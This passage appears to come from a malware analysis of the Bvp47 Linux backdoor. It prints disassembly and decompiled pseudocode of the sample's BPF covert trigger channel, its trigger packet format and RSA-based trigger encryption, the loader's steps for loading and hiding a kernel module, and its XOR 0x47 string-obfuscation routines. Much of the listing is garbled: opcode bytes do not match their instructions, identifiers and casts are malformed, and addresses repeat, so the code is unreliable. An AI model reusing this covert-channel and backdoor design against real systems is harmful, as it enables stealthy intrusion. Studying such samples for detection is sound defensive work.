0800020C E8 D3 9C 00 00    call   signal
08000211 C7 04 24 0F 00 00 00  mov     dword ptr [esp], 0Fh ; sig
08000218 31 C0            xor    eax, eax
0800021A 89 44 24 04          mov     [esp+4], eax          ; handler
0800021E E8 C1 9C 00 00    call   signal
08000223 89 3C 24          mov     [esp], edi          ; file
08000226 E8 B5 2E 00 00    call   sub_80030E0
0800022B E8 A0 2E 00 00    call   sec_bpf_init          ; 尝试初始化bpf
08000230 89 04 24          mov     [esp], eax          ; bpf_program
08000233 E8 48 01 00 00    call   sec_f_9b510b03        ; 载入bpf代码
08000238 80 3D A4 7F 00 01  cmp    g_flag_ba2b4064, 1
0800023F 74 AE            jz     short loc_80001EF
08000241          loc_8000241:
08000241          ; CODE XREF: _554a7941+9D1j
```

2. `sec_bpf_init` returns the structure of `bpf_program`

```
080030D0          ; int __cdecl sec_bpf_init()
080030D0          sec_bpf_init  proc near          ; CODE XREF: _554a7941+D81p
080030D0 55              push   ebp
080030D1 B8 00 83 00 08    mov     eax, offset stru_8008300 ; 返回bpf_program结构体
080030D6 89 E5            mov     ebp, esp
080030D8 5D              pop    ebp
080030D9 C3              retn
080030D9          sec_bpf_init  endp
080030D9          -----
```

### 3. The specific values of the stru\_8008300 structure are as follows

```

08008300 32 00 00 00 20 83 00 08 stru_8008300 bpf_program <32h, offset stru_8008320>
08008300                                     ; DATA XREF: sec_bpf_init+1f0
08008308 00 00 00 00 dd 0
0800830C 00 00 00 00 dd 0
08008310 00 00 00 00 dd 0
08008314 00 00 00 00 dd 0
08008318 00 00 00 00 dd 0
0800831C 00 00 00 00 dd 0
08008320 80 00 00 00 00 00 00+stru_8008320 bpf_insn < 80h, 0, 0, 0>
08008320 14 00 00 00 06 00 00 00 ; DATA XREF: .data:stru_8008300f0
08008320 bpf_insn < 14h, 0, 0, 6>
08008330 07 00 00 00 02 00 00 00+ bpf_insn <7, 0, 0, 2>
08008330 48 00 00 00 00 00 00 00 bpf_insn <48h, 0, 0, 0>
08008340 44 00 00 00 CF E6 00 00+ bpf_insn <44h, 0, 0, 0E6CFh>
08008340 02 00 00 00 04 00 00 00 bpf_insn <2, 0, 0, 4>
08008350 48 00 00 00 00 00 00 00+ bpf_insn <48h, 0, 0, 0>
08008350 54 00 00 00 CF E6 00 00 bpf_insn <54h, 0, 0, 0E6CFh>
08008360 84 00 00 00 00 00 00 00+ bpf_insn <84h, 0, 0, 0>
08008360 14 00 00 00 01 00 00 00 bpf_insn <14h, 0, 0, 1>
08008370 07 00 00 00 0A 00 00 00+ bpf_insn <7, 0, 0, 0Ah>
08008370 60 00 00 00 04 00 00 00 bpf_insn <60h, 0, 0, 4>
08008380 5C 00 00 00 00 00 00 00+ bpf_insn <5Ch, 0, 0, 0>
08008380 07 00 00 00 0A 00 00 00 bpf_insn <7, 0, 0, 0Ah>
08008390 02 00 00 00 04 00 00 00+ bpf_insn <2, 0, 0, 4>
08008390 80 00 00 00 00 00 00 00 bpf_insn <80h, 0, 0, 0>
080083A0 1C 00 00 00 00 00 00 00+ bpf_insn <1Ch, 0, 0, 0>
080083A0 07 00 00 00 0A 00 00 00 bpf_insn <7, 0, 0, 0Ah>
080083B0 48 00 00 00 00 00 00 00+ bpf_insn <48h, 0, 0, 0>
080083B0 02 00 00 00 06 00 00 00 bpf_insn <2, 0, 0, 6>
080083C0 61 00 00 00 04 00 00 00+ bpf_insn <61h, 0, 0, 4>
080083C0 30 00 00 00 17 00 00 00 bpf_insn <30h, 0, 0, 17h>
080083D0 15 00 00 05 06 00 00 00+ bpf_insn <15h, 0, 5, 6>
080083D0 30 00 00 00 2E 00 00 00 bpf_insn <30h, 0, 0, 2Eh>
080083E0 74 00 00 00 02 00 00 00+ bpf_insn <74h, 0, 0, 2>
080083E0 14 00 00 00 14 00 00 00 bpf_insn <14h, 0, 0, 14h>
080083F0 0C 00 00 00 0A 00 00 00+ bpf_insn <0Ch, 0, 0, 0>
080083F0 07 00 00 00 0A 00 00 00 bpf_insn <7, 0, 0, 0Ah>
08008400 48 00 00 00 0E 00 00 00+ bpf_insn <48h, 0, 0, 0Eh>
08008400 02 00 00 00 08 00 00 00 bpf_insn <2, 0, 0, 8>
08008410 80 00 00 00 00 00 00 00+ bpf_insn <80h, 0, 0, 0>
08008410 14 00 00 00 02 00 00 00 bpf_insn <14h, 0, 0, 2>
08008420 07 00 00 00 02 00 00 00+ bpf_insn <7, 0, 0, 2>
08008420 48 00 00 00 00 00 00 00 bpf_insn <48h, 0, 0, 0>
08008430 44 00 00 00 6A 9D 00 00+ bpf_insn <44h, 0, 0, 9D6Ah>
08008430 02 00 00 00 04 00 00 00 bpf_insn <2, 0, 0, 4>
08008440 48 00 00 00 00 00 00 00+ bpf_insn <48h, 0, 0, 0>
08008440 54 00 00 00 6A 9D 00 00 bpf_insn <54h, 0, 0, 9D6Ah>
08008450 84 00 00 00 00 00 00 00+ bpf_insn <84h, 0, 0, 0>
08008450 14 00 00 00 01 00 00 00 bpf_insn <14h, 0, 0, 1>
08008460 07 00 00 00 0A 00 00 00+ bpf_insn <7, 0, 0, 0Ah>

```

### 4. The structures of bpf\_program and bpf\_insn are as follows

```

00000000
00000000 bpf_program struct ; (sizeof=0x8, align=0x4, copyof_65)
00000000                                     ; XREF: .data:stru_8008300/r
00000000                                     ; pcap_t/r ...
00000000 bf_len dd ?
00000004 bf_insns dd ? ; offset
00000008 bpf_program ends
00000008

```

```

00000000
00000000 bpf_insn      struc ; (sizeof=0x8, align=0x4, copyof_34)
00000000                                     ; XREF: .data:stru_8008320/r
00000000                                     ; .data:08008330/r ...
00000000 code          dw ?
00000002 jt           db ?
00000003 jf           db ?
00000004 k           dd ?
00000008 bpf_insn      ends
00000008

```

5. The code disassembled by bpf is as follows

```

/* BPF asm
10:   ld #len
11:   sub #6
12:   tax
13:   ldh [x+0]
14:   or #0xe6cf
15:   st M[4]
16:   ldh [x+0]
17:   and #0xe6cf
18:   neg
19:   sub #1
110:  tax
111:  ld M[4]
112:  and x
113:  tax
114:  st M[4]
115:  ld #len
116:  sub x
117:  tax
118:  ldh [x+0]
119:  st M[6]
120:  ldx M[4]
121:  ldb [23]
122:  jeq #0x6, 123, 128
123:  ldb [46]
124:  rsh #2
125:  sub #20
126:  add x
127:  tax
128:  ldh [x+14]
129:  st M[8]
130:  ld #len
131:  sub #2
132:  tax
133:  ldh [x+0]
134:  or #0x9d6a
135:  st M[4]
136:  ldh [x+0]
137:  and #0x9d6a
138:  neg
139:  sub #1
140:  tax
141:  ld M[4]
142:  and x
143:  tax
144:  ld M[8]
145:  jeq x, 148, 146
146:  ld M[6]
147:  jeq x, 148, 149
148:  ret #0xffff
149:  ret #0
*/

```

6. The pseudo code of actual runtime BPF is as follow. The payload data that matches this rule will be captured and sent to next process;

```
int check_v3(char* buf, int size)
{
    if (size != 0x88)
        return 0;

    unsigned short start = *(unsigned short*)(buf + 0x00);
    unsigned short check0 = *(unsigned short*)(buf + 0x82);
    unsigned short check1 = *(unsigned short*)(buf + 0x84);
    unsigned short check2 = *(unsigned short*)(buf + 0x86);

    start = (start >> 0x08) | ((start & 0xFF) << 0x08);

    unsigned short value0 = (unsigned __int8)((unsigned __int16)(size ^ 0xF6CF) >> 8) | (((unsigned __int8)size ^ 0xCF) << 8);
    unsigned short value2 = (unsigned __int8)((unsigned __int16)(start ^ 0x9D6A) >> 8) | (((unsigned __int8)start ^ 0x6A) << 8);

    if (value0 != check0)
        return 0;

    if (value2 != check2)
        return 0;

    return 1;
}
```

## Data Processing of BPF Covert Communication

After matching the capture rules of BPF, the packet will be sent to next process.

1. In the function sec\_f\_9b510b03, dewdrop uses the select model to process the corresponding data packets;

```
24 while ( g_flag_ba2b4064 == 1 )
25 {
26     if ( v6 == 1 )
27     {
28         v6 = 0;
29         while ( !sec_f_cd57d5dc_apply_bpf_filter((int)xx, (int)bpf_program) )
30             sleep(60u);
31     }
32     memset(&readfds, 0, sizeof(readfds));
33     memset(&exceptfds, 0, sizeof(exceptfds));
34     timeout.tv_usec = 0;
35     v1 = 0;
36     v8 = 0;
37     for ( timeout.tv_sec = 60; xx[0] > v1; ++v1 )
38     {
39         if ( xx[2 * v1 + 2] > v8 )
40             v8 = xx[2 * v1 + 2];
41         _bittestset(&readfds.__fds_bits[(unsigned int)xx[2 * v1 + 2] >> 5], xx[2 * v1 + 2] & 0x1F);
42         _bittestset(&exceptfds.__fds_bits[(unsigned int)xx[2 * v1 + 2] >> 5], xx[2 * v1 + 2] & 0x1F);
43     }
44     v9 = select(v8 + 1, &readfds, 0, &exceptfds, &timeout); // select网络模型
45     if ( v9 > 0 )
46     {
47         for ( i = 0; v8 >= i && v9 > 0; ++i )
48         {
49             v3 = i & 0x1F;
50             if ( _bittest(&readfds.__fds_bits[i >> 5], v3) )
51             {
52                 --v9;
53                 handle = (pcap_x *)f_5c220551(xx, i);
54                 if ( !handle
55                     || libpcap_pcap_next_ex(*handle, (pcap_pkthdr **)&pkt_header, (char **)&pkt_data) != 1
56                     || !pkt_header
57                     || !pkt_data )
58                 {
59                     continue;
60                 }
61                 v4 = f_21c0de29_getLinkType((pcap_x *)handle);
62                 sec_f_6a42f4c9_allinone((char **)&pkt_data, (pcap_pkthdr **)&pkt_header, v4); // 处理数据包
63             }
64             if ( _bittest(&exceptfds.__fds_bits[i >> 5], v3) )
65             {
66                 --v9;
67                 v6 = 1;
68             }
69         }
70     }
71     if ( (((unsigned __int8)v6 | ((unsigned int)v7 > 0x1D)) & 1) != 0 )
72     {
73         f763d0a1(xx);
74         goto LABEL_2;
75     }
76 }
77 return f763d0a1(xx);
```

## 2. sec\_f\_6a42f4c9\_allinone executes the pseudo code as follows

```
1 int __cdecl sec_f_6a42f4c9_allinone(char **pkt_data, pcap_pkthdr **pkt_header, __int16 type)
2 {
3     char v4; // a1
4     char v5; // a1
5     int v6; // [esp+1Ch] [ebp-2Ch]
6     pkt_info s[2]; // [esp+20h] [ebp-28h] BYREF
7
8     v6 = -1;
9     if ( pkt_header[2] == pkt_header[3] )
10    {
11        sys_memset(s, 0, 0xCu);
12        v4 = *((_BYTE *)pkt_data + (unsigned __int16)type);
13        if ( v4 == 0x45 )
14        {
15            v5 = f_038680f0_another_filter('\x02', (unsigned int *)((char *)pkt_data + (unsigned __int16)type + 16));
16        }
17        else
18        {
19            v6 = -1;
20            if ( (v4 & 0xF0) == 0x60 ) // 如果为ipv6暂时不处理。
21                goto LABEL_2;
22            v5 = f_038680f0_another_filter(0xA, (unsigned int *)((char *)pkt_data + (unsigned __int16)type + 24));
23        }
24        v6 = -1;
25        if ( v5 )
26        {
27            if ( sec_decode_packet((char *)pkt_data, (int)pkt_header[2], (unsigned __int16)type, s) // 处理抽离出来的0x80数据包
28            )
29            LABEL_12:
30                v6 = -1;
31                goto LABEL_2;
32            }
33            if ( s[0].cmd_type == 1 )
34            {
35                v6 = aeaba335b_send_email((char *)s);
36            }
37            else
38            {
39                if ( s[0].cmd_type != 4 )
40                    goto LABEL_12;
41                v6 = 72cf5a31_connect_remote(s);
42            }
43        }
44    }
45 LABEL_2:
46    if ( s[0].buffer )
47    {
48        sub_8004d30(s[0].buffer);
49        s[0].buffer = 0;
50    }
51    return v6;
52 }
```

3. The decryption of the payload packet starts in `sec_decode_packet`, which involves a deformed RSA decryption algorithm.

```
33 if ( type + 26 > (unsigned int)pkt_len )
34     goto error;
35 v4 = 2;
36 v5 = pkt_data[type];
37 if ( v5 != 0x45 )
38 {
39     v4 = 10;
40     if ( (v5 & 0xF0) == 96 )           // 再次校验了IPV6
41         goto error;
42 }
43 sys_memmove();
44 v6 = _byteswap_ushort(last_six_bytes_0) ^ 0xE6CF;
45 LOWORD(last_six_bytes_0) = v6;
46 last_six_bytes_2 = _byteswap_ushort(last_six_bytes_2) ^ 0x9D6A;
47 v7 = type + v6;
48 v8 = v7;
49 if ( v4 == 2 && pkt_data[type + 9] == 6 )
50 {
51     v20 = pkt_data[type + 32];
52 }
53 else
54 {
55     if ( v4 != 10 || pkt_data[type + 6] != 6 )
56         goto LABEL_6;
57     v20 = pkt_data[type + 0x34];
58 }
59 v8 = (unsigned __int16)(v7 + (v20 >> 2) - 20);
60 LABEL_6:
61 if ( v8 <= pkt_len - 6 && (sys_memmove(), v11 = _byteswap_ushort(v31), v31 = v11, last_six_bytes_2 == v11)
62     || (v8 = (unsigned __int16)(pkt_len - last_six_bytes_0), v8 <= pkt_len - 6)
63     && (sys_memmove(), v9 = _byteswap_ushort(v31), v31 = v9, last_six_bytes_2 == v9) )
64 {
65     HIWORD(last_six_bytes_0) = v31 ^ _byteswap_ushort(HIWORD(last_six_bytes_0));
66     if ( v8 + HIWORD(last_six_bytes_0) + 6 <= pkt_len )
67     {
68         sys_memmove();
69         packet_process_decode(key, (BYTE *)ret, g_ebx_0x0000);
70         if ( !ret[0] && ret[1] == 2 )
71         {
72             v12 = 2;
73             while ( ret[v12] )
74             {
75                 if ( (unsigned int)++v12 > 0x7F )
76                     goto error;
77             }
78             v13 = 128 - (v12 + 1);
79             sys_memmove();
80             if ( v13 > 7 )
81             {
82                 sys_memmove();
83                 v14 = HIWORD(xx);
84                 HIWORD(xx) = 0;
85                 LODWORD(v15) = (unsigned __int8)v14;
86                 HIDWORD(v15) = HIBYTE(v14);
87                 LODWORD(v15) = (DWORD)v15 << 8;
```

# Data Format and Encryption Algorithm of BPF Covert Communication

1. The payload packet format of the dewrops v3 is as follow:

```
struct trigger_data_v3 {
    unsigned short trigger_hdr;
    union {
        struct {
            unsigned int callback_addr;
            unsigned int callback_port;
            unsigned int timestamp;
            unsigned int timeskew;
            unsigned int trigger_addr;
        } ish_callback;

        unsigned char reserve[0x80];
    }cmd;

    unsigned short check0;
    unsigned short check1;
    unsigned short check2;
} __attribute__((packed));
```

2. The payload packet process for dewdrop in tipoff is as follow

```
1 int __cdecl tipoff_crypt_main(BYTE *buf, int size, __int16 start, __int16 size_, BYTE *info)
2 {
3     unsigned int v5; // eax
4     int v6; // eax
5     int i; // ebx
6     unsigned __int16 index; // ax
7     unsigned __int16 v9; // ax
8     BYTE *v10; // ecx
9     unsigned int i; // edx
10    int pos; // [esp+14h] [ebp-134h] BYREF
11    char reversed[2]; // [esp+18h] [ebp-130h] BYREF
12    unsigned __int16 _gend_where; // [esp+1Ah] [ebp-12Eh]
13    __int16 _gend_word0; // [esp+1Ch] [ebp-12Ch]
14    unsigned __int16 _gend_word1; // [esp+1Eh] [ebp-12Ah]
15    __int16 checksum2[0]; // [esp+20h] [ebp-128h] BYREF
16    char srcBin[128]; // [esp+30h] [ebp-118h] BYREF
17    char dstBin[152]; // [esp+80h] [ebp-98h] BYREF
18
19    pos = 0;
20    if ( (unsigned int)size <= 0x87 || (unsigned int)(((_DWORD *)info + 1) * 0xB) > 0x80 )
21        return -1;
22    v5 = time(0);
23    srand(v5);
24    v6 = *(_DWORD *)info;
25    reversed[1] = 0;
26    reversed[0] = v6;
27    _gend_where = 0;
28    _gend_word0 = tipoff_gen_rand2();
29    _gend_word1 = _byteswap_ushort*((_DWORD *)info + 1));
30    ii = 2;
31    index = tipoff_makeHeader((BYTE *)reversed, 8u, 0);
32    v9 = tipoff_makeHeader*((_BYTE **)info + 2), *((_DWORD *)info + 1), index);
33    srcBin[0] = 0;
34    pos = 2;
35    srcBin[1] = 2;
36    v10 = info;
37    _gend_where = _byteswap_ushort(v9);
38    for ( i = 2; 0x77 - *((_DWORD *)info + 1) > i; ii = i )
39    {
40        srcBin[ii] = (unsigned __int8)((int (__fastcall *)(BYTE *, unsigned int))tipoff_gen_rand1)(v10, i) % 0xFFu + 1;
41        v10 = info;
42        i = pos + 1;
43        pos = i;
44    }
45    srcBin[i] = 0;
46    tipoff_sys_memmov(&srcBin[++pos], reversed, 8u);
47    tipoff_sys_memmov(&srcBin[pos + 8], *((const void **)info + 2), *((_DWORD *)info + 1));
48    tipoff_trigger((BYTE *)srcBin, (BYTE *)dstBin, &privateKey);
49    pos = ((unsigned __int8)start << 8) | HIBYTE(start);
50    tipoff_sys_memmov(buf, &pos, 2u);
51    tipoff_sys_memmov(buf + 2, dstBin, 0x80u);
52    checksum2[0] = (unsigned __int8)((unsigned __int16)(size ^ 0xE6CF) >> 8) | (((unsigned __int8)size ^ 0xCF) << 8);
53    checksum2[1] = (unsigned __int8)((unsigned __int16)(start ^ *((_WORD *)info + 2) + 10) >> 8) | ((unsigned __int8)(start ^ (info[4] + 10)) << 8);
54    checksum2[2] = (unsigned __int8)((unsigned __int16)(start ^ 0x9D6A) >> 8) | (((unsigned __int8)start ^ 0x6A) << 8);
55    tipoff_sys_memmov(&buf[size - 6], checksum2, 6u);
56    return 0;
57 }
```


### 3. RSA data encryption in the payload packet

```
1 int __cdecl tipoff_trigger(BYTE *srcBin, BYTE *dstBin, BYTE *privateKey)
2 {
3     unsigned int v3; // eax
4     unsigned int v4; // edx
5
6     sub_804D480((int)srcBin, 0x80);
7     v3 = *((_DWORD *)srcBin + 0x1F);
8     v4 = *((_DWORD *)privateKey + 0x1F);
9     if ( v3 >= v4 )
10        *((_DWORD *)srcBin + 31) = v3 - v4;
11    tipoff_rsa_core( // RSA encryption
12        (int)srcBin,
13        0x20,
14        (int)(privateKey + 0x80),
15        0x20,
16        (int)privateKey,
17        0x20,
18        (int)(privateKey + 0x100),
19        0x21,
20        (int)dstBin,
21        byte_8058660);
22    return sub_804D480((int)dstBin, 0x80);
23 }
```

# 5. Technical Details of Bvp47\_loader

The entry function diagram of the loader module is as follows, which involves following operations:

1. Check if the runtime environment is normal;
2. Read the payload at the end of the file;
3. Map and verify the payload;
4. Decrypt the payload, if necessary;
5. Decompress the payload, if necessary;
6. Load the kernel module;
7. Call notification to hide the ELF file header of the kernel module;
8. Fork executes the dewrops module backdoor;
9. Fork executes the backdoor of the suctionchar\_agent module;



# Character Encryption Function

In the sample analysis, the first thing need to deal with is a series of string encryption functions, a total of 8.

## 1. XOR 0x47 function type 1:

```
LOAD:0005FB90 ; int __cdecl serial_bind_0x4c5c0704_xcode(char *dst, char *src)
LOAD:0005FB90 serial_bind_0x4c5c0704_xcode proc near ; CODE XREF: serial_str_filesys_admr+10E1p
LOAD:0005FB90 ; serial_str_filesys_admr+1361p ...
LOAD:0005FB90
LOAD:0005FB90
LOAD:0005FB90 55          push    ebp
LOAD:0005FB91 89 01 00 00 00  mov    ecx, 1
LOAD:0005FB96 89 E5          mov    ebp, esp
LOAD:0005FB98 57            push   edi
LOAD:0005FB99 8B 7D 0C       mov    edi, [ebp+src]
LOAD:0005FB9C 56            push   esi
LOAD:0005FB9D 8B 75 08       mov    esi, [ebp+dst]
LOAD:0005FBA0 53            push   ebx
LOAD:0005FBA1 05 86 1F       movzx  ebx, byte ptr [edi]
LOAD:0005FBA4 8D 74 26 00    lea   esi, [esi+0]
LOAD:0005FBA8
LOAD:0005FBA8 ; CODE XREF: serial_bind_0x4c5c0704_xcode+301j
LOAD:0005FBA8 movzx  eax, byte ptr [edi+ecx]
LOAD:0005FBAC 89 C2         mov    edx, eax
LOAD:0005FBAE 83 F2 47       xor    edx, 47h ; 最常见的xor 0x47
LOAD:0005FBB1 31 DA         xor    edx, ebx
LOAD:0005FBB3 01 C3         add    ebx, eax
LOAD:0005FBB5 31 CA         xor    edx, ecx
LOAD:0005FBB7 88 54 0E FF    mov    [esi+ecx-1], dl
LOAD:0005FBB8 83 C1 01       add    ecx, 1
LOAD:0005FBBE 84 D2         test   dl, dl
LOAD:0005FBC0 75 E6         jnz   short loc_805FBA8
LOAD:0005FBC2 89 F0         mov    eax, esi
LOAD:0005FBC4 5B           pop    ebx
LOAD:0005FBC5 5E           pop    esi
LOAD:0005FBC6 5F           pop    edi
LOAD:0005FBC7 5D           pop    ebp
LOAD:0005FBC8 C3           retn
LOAD:0005FBC8
LOAD:0005FBC8
serial_bind_0x4c5c0704_xcode endp
```

## 2. XOR 0x47 function type 2:

```
LOAD:0005FBD0 ; int __cdecl serial_bind_0xa8a16d65_xcode(char *dst, char *src, int length)
LOAD:0005FBD0 serial_bind_0xa8a16d65_xcode proc near ; CODE XREF: serial_mkstemp+221p
LOAD:0005FBD0 ; serial_check_root+421p ...
LOAD:0005FBD0
LOAD:0005FBD0
LOAD:0005FBD0
LOAD:0005FBD0
LOAD:0005FBD0 55          push    ebp
LOAD:0005FBD1 89 E5          mov    ebp, esp
LOAD:0005FBD3 57            push   edi
LOAD:0005FBD4 56            push   esi
LOAD:0005FBD5 53            push   ebx
LOAD:0005FBD6 83 EC 04       sub    esp, 4
LOAD:0005FBD9 8B 45 10       mov    eax, dword ptr [ebp+key]
LOAD:0005FBDC 8B 7D 0C       mov    edi, [ebp+length]
LOAD:0005FBDF 8B 75 08       mov    esi, [ebp+buffer]
LOAD:0005FBE2 83 C0 01       add    eax, 1
LOAD:0005FBE5 0F 86 01       movzx  ebx, byte ptr [edi]
LOAD:0005FBE8 89 45 F0       mov    [ebp+var_10], eax
LOAD:0005FBEA 76 23         cmp    short loc_805FC13
LOAD:0005FBEF 8A 01 00 00 00  mov    edx, 1
LOAD:0005FBF5 8D 76 00       lea   esi, [esi+0]
LOAD:0005FBF8
LOAD:0005FBF8 ; CODE XREF: serial_bind_0xa8a16d65_xcode+411j
LOAD:0005FBF8 movzx  ecx, byte ptr [edi+edx]
LOAD:0005FBFC 89 C8         mov    eax, ecx
LOAD:0005FBFE 83 F0 47       xor    eax, 47h ; xor 0x47函数2
LOAD:0005FC01 31 D8         xor    eax, ebx
LOAD:0005FC03 01 C8         add    ebx, ecx
LOAD:0005FC05 31 D0         xor    eax, edx
LOAD:0005FC07 88 44 16 FF    mov    [esi+edx-1], al
LOAD:0005FC08 83 C2 01       add    edx, 1
LOAD:0005FC0E 3B 55 F0       cmp    edx, [ebp+var_10]
LOAD:0005FC11 72 E5         jbe   short loc_805FBF8
LOAD:0005FC13
LOAD:0005FC13 ; CODE XREF: serial_bind_0xa8a16d65_xcode+1E1fj
LOAD:0005FC13 add    esp, 4
LOAD:0005FC16 89 F0         mov    eax, esi
LOAD:0005FC18 5B           pop    ebx
LOAD:0005FC19 5E           pop    esi
LOAD:0005FC1A 5F           pop    edi
LOAD:0005FC1B 5D           pop    ebp
LOAD:0005FC1C C3           retn
LOAD:0005FC1C
LOAD:0005FC1C
serial_bind_0xa8a16d65_xcode endp
```

### 3. Variable order encryption function:

```

LOAD:0805FC20          ; int __cdecl serial_bind_0x0b06803a_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:0805FC20          serial_bind_0x0b06803a_xcode proc near ; DATA XREF: LOAD:080639F0:0
LOAD:0805FC20
LOAD:0805FC20          buffer      = dword ptr  8
LOAD:0805FC20          length     = dword ptr  0Ch
LOAD:0805FC20          arg_8      = byte ptr  10h
LOAD:0805FC20
LOAD:0805FC20  55          push     ebp
LOAD:0805FC21  89 E5       mov     ebp, esp
LOAD:0805FC23  8B 45 0C     mov     eax, [ebp+length]
LOAD:0805FC26  57          push    edi
LOAD:0805FC27  0F B6 7D 10 movzx   edi, [ebp+arg_8]
LOAD:0805FC28  56          push    esi
LOAD:0805FC2C  8B 75 08     mov     esi, [ebp+buffer]
LOAD:0805FC2F  53          push    ebx
LOAD:0805FC30  85 C0       test   eax, eax
LOAD:0805FC32  74 1D       jz     short loc_805FC51
LOAD:0805FC34  31 D2       xor    edx, edx
LOAD:0805FC36  31 DB       xor    ebx, ebx
LOAD:0805FC38
LOAD:0805FC38          loc_805FC38: ; CODE XREF: serial_bind_0x0b06803a_xcode+2F1j
LOAD:0805FC38  0F B6 0C 16 movzx   ecx, byte ptr [esi+edx]
LOAD:0805FC3C  89 F8       mov     eax, edi
LOAD:0805FC3E  31 C8       xor    eax, ecx
LOAD:0805FC40  31 D8       xor    eax, ebx
LOAD:0805FC42  01 CB       add    ebx, ecx
LOAD:0805FC44  31 D0       xor    eax, edx
LOAD:0805FC46  8B 04 16     mov     [esi+edx], al
LOAD:0805FC49  83 C2 01     add    edx, 1
LOAD:0805FC4C  39 55 0C     cmp    [ebp+length], edx
LOAD:0805FC4F  77 E7       ja     short loc_805FC38
LOAD:0805FC51
LOAD:0805FC51          loc_805FC51: ; CODE XREF: serial_bind_0x0b06803a_xcode+121j
LOAD:0805FC51  89 F0       mov     eax, esi
LOAD:0805FC53  5B         pop    ebx
LOAD:0805FC54  5E         pop    esi
LOAD:0805FC55  5F         pop    edi
LOAD:0805FC56  5D         pop    ebp
LOAD:0805FC57  C3         retn
serial_bind_0x0b06803a_xcode endp

```

### 4. XOR 0x47 function type 3:

```

LOAD:0805FC60          ; int __cdecl serial_bind_0x4743c911_xor(char *buf, int len)
LOAD:0805FC60          serial_bind_0x4743c911_xor proc near ; CODE XREF: serial_bind_0xd1eb34ee_decode+136fp
LOAD:0805FC60          ; serial_bvp+37fp
LOAD:0805FC60          ; DATA XREF: ...
LOAD:0805FC60
LOAD:0805FC60          buf        = dword ptr  8
LOAD:0805FC60          len       = dword ptr  0Ch
LOAD:0805FC60
LOAD:0805FC60  55          push     ebp
LOAD:0805FC61  89 E5       mov     ebp, esp
LOAD:0805FC63  57          push    edi
LOAD:0805FC64  8B 7D 0C     mov     edi, [ebp+len]
LOAD:0805FC67  56          push    esi
LOAD:0805FC68  8B 75 08     mov     esi, [ebp+buf]
LOAD:0805FC6B  53          push    ebx
LOAD:0805FC6C  85 FF       test   edi, edi
LOAD:0805FC6E  74 21       jz     short loc_805FC91
LOAD:0805FC70  31 DB       xor    ebx, ebx
LOAD:0805FC72  31 D2       xor    edx, edx
LOAD:0805FC74  8D 74 26 00 lea    esi, [esi+0]
LOAD:0805FC78
LOAD:0805FC78          loc_805FC78: ; CODE XREF: serial_bind_0x4743c911_xor+2F1j
LOAD:0805FC78  0F B6 04 16 movzx   eax, byte ptr [esi+edx]
LOAD:0805FC7C  89 C1       mov     ecx, eax
LOAD:0805FC7E  83 F1 47     xor    ecx, 47h ; xor 0x47
LOAD:0805FC81  31 D9       xor    ecx, ebx
LOAD:0805FC83  01 C3       add    ebx, ecx
LOAD:0805FC85  31 D1       xor    ecx, edx
LOAD:0805FC87  8B 0C 16     mov     [esi+edx], cl
LOAD:0805FC8A  83 C2 01     add    edx, 1
LOAD:0805FC8D  39 D7       cmp    edi, edx
LOAD:0805FC8F  77 E7       ja     short loc_805FC78
LOAD:0805FC91
LOAD:0805FC91          loc_805FC91: ; CODE XREF: serial_bind_0x4743c911_xor+E1j
LOAD:0805FC91  89 F0       mov     eax, esi
LOAD:0805FC93  5B         pop    ebx
LOAD:0805FC94  5E         pop    esi
LOAD:0805FC95  5F         pop    edi
LOAD:0805FC96  5D         pop    ebp
LOAD:0805FC97  C3         retn

```

## 5. XOR 0x47 type 4:

```

LOAD:0805FCA0          ; int __cdecl serial_bind_0x9fa14ba6_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:0805FCA0          serial_bind_0x9fa14ba6_xcode proc near ; DATA XREF: LOAD:080639B4:0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0 55          push     ebp
LOAD:0805FCA1 89 01 00 00 00        mov     ecx, 1
LOAD:0805FCA6 89 E5          mov     ebp, esp
LOAD:0805FCA8 56          push    esi
LOAD:0805FCA9 8B 45 08        mov     eax, [ebp+buffer]
LOAD:0805FCA0 53          push    ebx
LOAD:0805FCA0 0F B6 5D 10      movzx  ebx, [ebp+key]
LOAD:0805FCB1 8B 75 0C        mov     esi, [ebp+length]
LOAD:0805FCB4 83 F3 47        xor     ebx, 47h
LOAD:0805FCB7 8B 18        mov     [eax], bl
LOAD:0805FCB9 8D B4 26 00 00 00 00 lea    esi, [esi+0]
LOAD:0805FCC0
LOAD:0805FCC0 0F B6 54 0E FF      ; CODE XREF: serial_bind_0x9fa14ba6_xcode+39:1j
loc_805FCC0:          movzx  edx, byte ptr [esi+ecx-1]
LOAD:0805FCC5 31 DA          xor     edx, ebx
LOAD:0805FCC7 83 F2 47        xor     edx, 47h
LOAD:0805FCCA 31 CA          xor     ecx, ecx
LOAD:0805FCCC 8B 14 08        mov     [eax+ecx], dl
LOAD:0805FCCF 83 C1 01        add     ecx, 1
LOAD:0805FCD2 01 D3        add     ebx, edx
LOAD:0805FCD4 80 7C 0E FE 00      cmp     byte ptr [esi+ecx-2], 0
LOAD:0805FCD9 75 E5          jnz     short loc_805FCC0
LOAD:0805FCD8 5B          pop     ebx
LOAD:0805FCD0 5E          pop     esi
LOAD:0805FCD0 5D          pop     ebp
LOAD:0805FCDE C3          retn
LOAD:0805FCDE          serial_bind_0x9fa14ba6_xcode endp

```

## 6. XOR 0x47

```

.OAD:0805FCE0          ; _BYTE *__cdecl serial_bind_0xcc17976_xcode(char *src, char *dst, int length, unsigned __int8 key)
.OAD:0805FCE0          serial_bind_0xcc17976_xcode proc near ; DATA XREF: LOAD:080639C8:0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0 55          push     ebp
.OAD:0805FCE1 89 E5          mov     ebp, esp
.OAD:0805FCE3 57          push    edi
.OAD:0805FCE4 8B 45 08        mov     eax, [ebp+src]
.OAD:0805FCE7 56          push    esi
.OAD:0805FCE8 8B 7D 0C        mov     edi, [ebp+dst]
.OAD:0805FCEB 53          push    ebx
.OAD:0805FCE0 0F B6 5D 14      movzx  ebx, [ebp+key]
.OAD:0805FCF0 83 F3 47        xor     ebx, 47h
.OAD:0805FCF3 8B 18        mov     [eax], bl
.OAD:0805FCF5 8B 75 10        mov     esi, [ebp+length]
.OAD:0805FCF8 83 C6 01        add     esi, 1
.OAD:0805FCF8 83 FE 01        cmp     esi, 1
